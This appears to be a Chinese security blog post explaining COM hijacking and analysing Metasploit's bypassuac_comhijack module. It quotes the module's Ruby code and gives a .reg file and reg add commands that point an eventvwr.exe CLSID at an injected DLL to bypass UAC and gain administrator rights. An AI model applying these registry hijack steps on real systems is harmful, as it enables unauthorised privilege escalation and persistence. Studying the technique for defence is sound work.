COM Hijacking 本文介绍一下 COM 劫持的原理 0x00 COM COM 是 Component Object Model ( 组件对象模型 ) 的缩写 COM 是微软公司为了计算机工业的软件生产更加符合人类的行为方式开发的一种新的软件开发技术 在 COM 构架下, 人们可以开发出各种各样的功能专一的组件, 然后将它们按照需要组合起来, 构成复杂的应用系统 0x01 COM 首先需要介绍一下注册表 (https://docs.microsoft.com/enus/windows/desktop/sysinfo/about-the-registry), 注册表可以理解为一个树状结构的 数据库, 它具有一些特殊的数据类型用来存储一些数据满足应用程序的需要 名称 HKEY_CLASSES_ROOT HKEY_CURRENT_CONFIG HKEY_CURRENT_USER HKEY_CURRENT_USER_LOCAL_SETTINGS HKEY_LOCAL_MACHINE HKEY_USERS 作用用于存储一些文档类型 类 类的关联属性 用户存储有关本地计算机系统的当前硬件配置文件信息 用于存储当前用户配置项 用于存储当前用户对计算机的配置项 用于存储当前用户物理状态 用于存储新用户的默认配置项 HKEY_CLASSES_ROOT (https://docs.microsoft.com/enus/windows/desktop/sysinfo/hkey-classes-root-key) = HKEY_LOCAL_MACHINE + HKEY_CURRENT_USER CLSID 首先需要介绍一下 CLSID(Class Identifier), 中文翻译为 : 全局唯一标识符 https://payloads.online/archivers/2018-10-14/1 1/9
CLSID 是指 Windows 系统对于不同的应用程序, 文件类型,OLE 对象, 特殊文件夹以及各种系统组件分配的一个唯一表示它的 ID 代码, 用于对其身份的标识和与其他对象进行区分 也就是说 CLSID 就是对象的身份证号, 而当一个应用程序想要调用某个对象时, 也是通过 CLSID 来寻找对象的 按下 Ctrl+R 打开运行窗口, 键入 ::{20D04FE0-3AEA-1069-A2D8-08002B30309D} 即可打 开 我的电脑 回收站的 CLISD 是 : ::{645FF040-5081-101B-9F08-00AA002F954E} https://payloads.online/archivers/2018-10-14/1 2/9
CLSID CLSID 结构体 : typedef struct _GUID { DWORD Data1; // WORD Data2; // WORD Data3; // BYTE Data4[8]; // MAC } GUID; typedef GUID CLSID; // ID typedef GUID IID; // ID 通过操作系统提供的结构体与 API 来创建 CLSID, 保障唯一性 CLSID 常见 CLSID Key: Key Name InprocHandler32 InprocServer32 说明 指定应用程序使用的自定义处理程序 注册 32 位进程所需要的模块 线程属性配置 HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID {CLSID} InprocServer32 (Default) = path ThreadingModel = value 更多介绍 (https://docs.microsoft.com/zh-cn/windows/desktop/com/clsid-key-hklm) 0x01 COM 使用 Process Monitor 可以清楚的看到应用程序的寻找过程 : 1.HKCU\Software\Classes\CLSID 2.HKCR\CLSID 3.HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\ShellCompatibility\Objects\ HKCU 即 HKEY_CURRENT_USER https://payloads.online/archivers/2018-10-14/1 3/9
0x02 COM 当进程寻找 COM 组件时, 首先会寻找 : HKCU\Software\Classes\CLSID 我们直接在 CLSID 下新建一个对象 ID, 就能够劫持某个进程或多个进程 HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID {CLSID} InprocServer32 (Default) = path ThreadingModel = value 与 DLL 劫持原理相近, 但是 COM 组件的劫持可以拓展很多东西, 劫持的目标不一定是一个进程, 劫持所需的文件不一定是一个 DLL, 它可以是一个.com 文件 二进制 PE 文件 DLL 文件, 劫持的目标也可以是一个 Windows API 0x03 COM metasploitframework/embedded/framework/modules/exploits/windows/local/bypassuac_comhijack.rb 使用 bypassuac_comhijack 模块能够将属于 Administrators 组的普通用户提升至管理员权限 下面我们分析一下代码 : 首先它会检查 payload 和操作系统是否支持, 然后检测是否是最高权限 根据你配置的 payload 来生成一个 DLL 木马 : payload = generate_payload_dll({:dll_exitprocess => true}) commspec = expand_path('%comspec%') dll_name = expand_path("%temp%\\#{rand_text_alpha(8)}.dll") https://payloads.online/archivers/2018-10-14/1 4/9
COM 劫持配置项 : @@hijack_points = [ { name: 'Event Viewer', cmd_path: '%WINDIR%\System32\eventvwr.exe', class_ids: ['0A29FF9E-7F9C-4437-8B11-F424491E3931'] }, { name: 'Computer Managment', cmd_path: '%WINDIR%\System32\mmc.exe', cmd_args: 'CompMgmt.msc', class_ids: ['0A29FF9E-7F9C-4437-8B11-F424491E3931'] } ] 该模块支持两种命令启动方式 : %WINDIR%\System32\eventvwr.exe %WINDIR%\System32\mmc.exe CompMgmt.msc 劫持的 CLSID 相同 : 0A29FF9E-7F9C-4437-8B11-F424491E3931 创建注册表 : target = @@hijack_points.sample target_clsid = target[:class_ids].sample root_key = "#{CLSID_PATH}\\{#{target_clsid}}" inproc_key = "#{root_key}\\inprocserver32" shell_key = "#{root_key}\\shellfolder" registry_createkey(root_key, registry_view) registry_createkey(inproc_key, registry_view) registry_createkey(shell_key, registry_view) registry_setvaldata(inproc_key, DEFAULT_VAL_NAME, dll_path, 'REG_SZ', re gistry_view) registry_setvaldata(inproc_key, 'ThreadingModel', 'Apartment', 'REG_SZ', registry_view) registry_setvaldata(inproc_key, 'LoadWithoutCOM', '', 'REG_SZ', registry _view) registry_setvaldata(shell_key, 'HideOnDesktop', '', 'REG_SZ', registry_v iew) registry_setvaldata(shell_key, 'Attributes', 0xf090013d, 'REG_DWORD', re gistry_view) { name: target[:name], cmd_path: target[:cmd_path], cmd_args: target[:cmd_args], root_key: root_key } https://payloads.online/archivers/2018-10-14/1 5/9
注册表项分别是 : HKCU\Software\Classes\CLSID{0A29FF9E-7F9C-4437-8B11- F424491E3931}\InProcServer32 HKCU\Software\Classes\CLSID{0A29FF9E-7F9C-4437-8B11- F424491E3931}\ShellFolder InProcServer32 中有 Key: Default -> %TEMP%\ 八位随机数.dll ThreadingModel -> Apartment ShellFolder 中有 Key: LoadWithoutCOM -> 空 HideOnDesktop -> 空 Attributes -> 0xf090013d 创建完毕后, 会启动 cmd.exe /c eventvwr.exe, 接着会反弹回来一个管理员会话 手动测试可以将以下文件保存为 test.reg : https://payloads.online/archivers/2018-10-14/1 6/9
Windows Registry Editor Version 5.00 [HKEY_CURRENT_USER\Software\Classes\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3 931}] [HKEY_CURRENT_USER\Software\Classes\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3 931}\InProcServer32] @="C:\\Temp\\calc.dll" "ThreadingModel"="Apartment" "LoadWithoutCOM"="" [HKEY_CURRENT_USER\Software\Classes\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3 931}\ShellFolder] "HideOnDesktop"="" "Attributes"=dword:f090013d 中间的 C:\\Temp\\calc.dll 可以更改为你想要注入的 DLL 路径 ( 支持绝对路径 ) 也可以使用 command 方式 : 24491E3931}\InProcServer32 /v "" /t REG_SZ /d "C:\Temp\calc.dll" /f 24491E3931}\InProcServer32 /v "LoadWithoutCOM" /t REG_SZ /d "" /f 24491E3931}\InProcServer32 /v "ThreadingModel" /t REG_SZ /d "Apartment" /f 24491E3931}\ShellFolder /v "HideOnDesktop" /t REG_SZ /d "" /f 24491E3931}\ShellFolder /v "Attributes" /t REG_DWORD /d f090013d /f eventvwr.exe 将会寻找 {0A29FF9E-7F9C-4437-8B11-F424491E3931} 这个组件, 而这个组件又需要加载 InProcServer32 指定的 DLL, 这个 DLL 的路径就是 MSF 上传的木马 DLL 当 DLL 一旦加载到 eventvwr.exe 这个进程中,Windows 会复制一个管理员的 Access Token 给这个 DLL 创建的进程 0x03 Bypass UAC 这个其实准备在后面深度剖析的, 还是要解释一下 如果劫持 explorer.exe 能不能 Bypass UAC 呢? 答案 : 不行因为 eventvwr.exe 如果是被管理员组的用户打开, 将会自动提升权限,Windows 中会有很多这类的应用程序 https://payloads.online/archivers/2018-10-14/1 7/9
正是因为具有自动提升权限的属性, 我们劫持后, 就不会触发 UAC 了, 直接获得有管理 员权限 上面说的只是一种方式, 还有多种方式, 后面我将会介绍 :UAC 基础 如何挖掘 Bypass UAC 的方法 QR code https://payloads.online/archivers/2018-10-14/1 8/9
https://payloads.online/archivers/2018-10-14/1 9/9